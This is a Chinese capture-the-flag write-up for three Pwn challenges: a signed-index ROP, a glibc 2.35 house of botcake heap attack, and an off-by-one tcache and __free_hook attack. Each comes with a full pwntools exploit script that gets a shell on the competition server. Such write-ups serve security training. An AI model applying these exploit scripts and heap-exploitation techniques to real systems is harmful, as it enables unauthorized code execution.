第八届浙江省大学生网络与信息安全竞赛技能赛预赛Pwn方向题解

引言:

第八届浙江省大学生网络与信息安全竞赛技能赛预赛Pwn方向题解,也是两个小时ak了预赛的三道Pwn赛题,感谢carry@ZJUCSA师傅的rop题解

pwn

rop @carry

观察代码,刚开始没发现问题,不存在栈溢出,但是题目又说了是ROP,肯定跟返回地址有关 在观察output的代码时,发现

jle是有符号是比较,所以我尝试了一下output(-1)会怎么样,结果打印出返回地址后就segment default,看到是output会将打印出来的清零,所以我们可以通过output去打印出一些栈信息来泄露libc,经过尝试,output(-15)会打印出libc地址 ,即_IO_2_1_stdout_的地址,于是通过这个来泄露libc,随后发现,-1是返回地址的位置,而input会根据目前有的来写入,所以我们写一个正常的返回地址回去,因为没开pie所以返回地址好找,随后就可以写 binsh_addr system_addr了,最后通过无意义的3个output将a1+72的值拉回去,

最后修改返回地址为pop_rdi_ret的返回地址,结果炸了,随后想到是栈指针没对齐,所以改成返回地址为ret_addr,后续的链子是pop_rdi_ret,binsh_addr,system_addr,拿下

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
def input(msg):
p.recvuntil(">>")
p.sendline(b"1")
p.recvuntil("number")
p.sendline(msg)
def output(index):
p.recvuntil(">>")
p.sendline(b"2")
p.recvuntil("index")
p.sendline(str(index).encode())
choice=0
if(choice):
# gdbscript="""
# b *0x4013df
# #b *0x401339
# c
# b printf
# c
# finish
# """
gdbscript="""
b *0x401339
c
"""
p=gdb.debug("./pwn",gdbscript=gdbscript)
else:
p=remote('45.40.247.139',20164)

output(-15)
p.recvuntil(b"number:\n")
s=int(p.recvline().strip())
print(s)
print(hex(s))
libc=ELF("./libc-2.31.so")
libcbase=s-libc.sym["_IO_2_1_stdout_"]
pop_rdi=libc.search(asm("pop rdi; ret")).__next__()+libcbase
print("find",hex(pop_rdi))
system=libc.sym["system"]+libcbase
binsh=next(libc.search(b"/bin/sh\x00"))+libcbase
print(hex(libcbase))
payload1=b"4199690"

#output(-12)
input(payload1)
input(str(pop_rdi).encode())
input(str(binsh).encode())
input(str(system).encode())
output(-15)
output(-15)
output(-15)
output(-15)
print("pop rdi:",hex(pop_rdi))
print("system:",hex(system))
print("/bin/sh:",hex(binsh))
input(str(pop_rdi+1).encode())

'''
input(payload2)
output(-1)
'''
p.interactive()
# 0x7fffc3f58060

bad_heap @Winegee

拿了个一血QwQ

glibc 2.35

一个常规增删改查,在add里有对申请出的堆块的限制

也就是申请出来的堆块不能在libc段,最开始想打tls_dtor_list劫持exit,但是试了试发现这个地址每次不固定,很难打

之后看了下这个lib段限制:

试了一下__environ在不在这个段内,发现不在,也就是这玩应根本没限制全,lib段没这么小,所以我们可以申请到__environ去泄露栈地址,最后打一个栈上的rop。

看一眼程序,有add,delete,show没有edit,而且free里面有一个uaf

申请八个堆块,free 七个,再free第八个,第八个就会掉入unsorted bin ,泄露libc。

常规打法house of botcake

先申请九个堆块,把1-7堆块free掉填满一条tcache bin链子,接着把8,9 free掉,8,9堆块就会都掉入unsorted bin并且发生合并,这时候9号堆块里面的指针什么的就会被清空,此时再申请一个堆块,tcache bin链子上就会出一个空位,再把9号堆块free掉,就会造成9号堆块同时在unsorted bin和tcache bin中,此时再申请一个稍微大一点的堆块就会发生unsorted bin的切割,就可以覆盖到9号堆块的fd指针,造成任意地址申请。

2.35下还需要提前泄露heap addr,这个free再add回来就可以泄露了。

本题exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from pwn import *
from struct import pack
from ctypes import *


def s(a):
p.send(a)


def sa(a, b):
p.sendafter(a, b)


def sl(a):
p.sendline(a)


def sla(a, b):
p.sendlineafter(a, b)


def r():
p.recv()


def pr():
print(p.recv())


def rl(a):
return p.recvuntil(a)


def inter():
p.interactive()


def debug():
gdb.attach(p)


# pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))


def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')
p = remote("45.40.247.139", 15222)
# libc = ELF("./libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def add(idx, size, content):
sla(b"inputs your choice:", str(1))
sla(b"input idx:", str(idx))
sla(b"input size:", str(size))
sa(b"input content:", content)


def delete(idx):
sla(b"inputs your choice:", str(2))
sla(b"input idx:", str(idx))

def show(idx):
sla(b"inputs your choice:", str(3))
sla(b"input idx:", str(idx))

add(0, 0x80, b'a'*8)
add(1, 0x80, b'b'*8)
delete(0)
show(0)
p.recv()
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12
success("heap_base: " + hex(heap_base))
delete(1)

for i in range(9):
add(i, 0x80, b'a'*8)

for i in range(7):
delete(i)

delete(7)
show(7)
p.recv()
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - (0x73f88041ace0 - 0x73f880200000)
success("libc_base: " + hex(libc_base))

tls_dtor_list = libc_base + (0x783e97be26e8 - 0x783e97800000) - 8
environ = libc_base + libc.sym['__environ'] - 0x10
success("tls_dtor_list: " + hex(tls_dtor_list))

delete(8)

for i in range(7):
add(i, 0x80, b"a")

add(8, 0x80, b"a")
add(9, 0x80, b"a")
add(10,0x300, b"A")

for i in range(7):
delete(i)

delete(9)
delete(8)

add(11, 0x80, b"a")

delete(9)

payload = b"a" * 0x80 + p64(0) + p64(0x91)
payload += p64(environ ^ (heap_base >> 12))
add(12, 0xa0, payload)

payload = p64(libc_base + libc.sym['system'])

add(0, 0x80, payload)
add(1, 0x80, b"a" * 0x10)
# debug()
show(1)
p.recv()
p.recvuntil(b"a" * 0x10)
stack_addr = u64(p.recv(6).ljust(8, b'\x00'))
success("stack_addr: " + hex(stack_addr))
ret_addr_base = stack_addr + (0x7ffcc5d20ce0 - 0x7ffcc5d20e18) + 0x10 - 0x20
# print((libc_base + libc.sym["__environ"] > libc_base + libc.sym["puts"] + 0x33636))

delete(12)
delete(0)

payload = b"a" * 0x80 + p64(0) + p64(0x91)
payload += p64(ret_addr_base ^ (heap_base >> 12))

add(12, 0xa0, payload)

payload = b"a" * 8
payload += p64(libc_base + libc.search(asm("pop rdi; ret")).__next__())
payload += p64(libc_base + libc.search(b"/bin/sh\x00").__next__())
payload += p64(libc_base + libc.search(asm("pop rdi; ret")).__next__() + 1)
payload += p64(libc_base + libc.sym["system"])

add(0, 0x80, b"a")
add(1, 0x80, payload)

inter()

获取flag截图

one @Winegee

在edit里有一个off by one

我们可以利用这个off by one来修改下一个chunk的size位

程序没有给libc,先抓一下字符串看一下是用什么操作系统编译的

18.04的ubuntu猜测是2.27的libc,从glibc all in one当中抓出对应版本lib,开始打

本题思路如下:

  • 先申请三个相同大小的堆块,接着edit堆块0,off by one到堆块1的size,使其堆块1的size可以包含堆块2
  • 接着把堆块2 free掉,此时堆块2掉入tcachebin,再将堆块1 free掉,此时造成了chunk overlap
  • 再次申请刚刚off by one的size大小的堆块,就可以修改到堆块2的fd指针,修改为tcache_pthread_struct结构体的地址
  • 申请堆块2 size大小的堆块,劫持tcache_pthread_struct,接着伪造对应位置堆块的count,再将对应size的堆块free掉,使其掉入unsorted bin泄露libc
  • 伪造对应size大小堆块的指针,使其指向free hook,申请出来劫持free hook为system,完成利用

本题exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *
from struct import pack
from ctypes import *


def s(a):
p.send(a)


def sa(a, b):
p.sendafter(a, b)


def sl(a):
p.sendline(a)


def sla(a, b):
p.sendlineafter(a, b)


def r():
p.recv()


def pr():
print(p.recv())


def rl(a):
return p.recvuntil(a)


def inter():
p.interactive()


def debug():
gdb.attach(p)


# pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))


def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


context(os='linux', arch='amd64', log_level='debug')

# p = process('./pwn')
p = remote("45.40.247.139", 31531)
# p = remote("45.40.247.139", 15222)
# libc = ELF("./libc.so.6")
libc = ELF("./libc-2.27-1.5.so")

def add(idx, size, content):
sla(b"5.exit", str(1))
sla(b"the index of command?", str(idx))
sla(b"the size of command?", str(size))
sa(b"the command?", content)


def delete(idx):
sla(b"5.exit", str(2))
sla(b"which one?", str(idx))

def show(idx):
sla(b"5.exit", str(3))
sla(b"which one?", str(idx))

def edit(idx, content):
sla(b"5.exit", str(4))
sla(b"which one?", str(idx))
sa(b"what to change?", content)

p.recvuntil(b"Let me know if u are not a rebot.\n")
calc = p.recvline().decode()
a , b = calc.split("+")
b = b.split("=")[0]

c = eval(a) + eval(b)
p.sendline(str(c))

payload = p64(0) + p64(0x81)
payload = payload.ljust(0x70, b"\x00") + p64(0x80) + b"\x90"

add(0, 0x78, b"a")
add(1, 0x78, b"a")

add(2, 0x78, b"a")
delete(0)
delete(1)
add(1, 0x78, b"a")
show(1)
p.recv()
heap_base = (u64(p.recv(6).ljust(8, b'\x00')) >> 12 ) << 12
heap_base = heap_base - 0x1000
success("heap_base: " + hex(heap_base))

add(0, 0x78, b"a")
add(3, 0x100, b"b")
add(4, 0x78, b"a")
delete(4)

payload = b"a" * 0x78 + b"\xf1"
edit(0, payload)
delete(1)


add(1, 0xe0, b"a")
delete(2)
payload = b"a" * 0x78 + p64(0x81) + p64(heap_base + 0x10)
edit(1, payload)

add(5, 0x78, b"a")
add(6, 0x100, b"a")
add(7, 0x200, b"/bin/sh")
add(2, 0x78, b"a")
offset = 0x100 // 0x10 - 1
payload = b"\x00" * offset + b"\x07"
payload = payload.ljust(64, b"\x00")
payload += p64(0) + p64(0)

edit(2, payload)
# debug()
delete(6)
add(6, 0x100, b"a" * 8)
show(6)
p.recv()
p.recvuntil(b"a" * 8)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - (0x71d47e9ebca0 - 0x71d47e600000)
success("libc_base: " + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

payload = b"\x01".ljust(64, b"\x00")
payload += p64(free_hook)

edit(2, payload)

delete(6)
add(6, 0x10, p64(system))
delete(7)


inter()

获取flag截图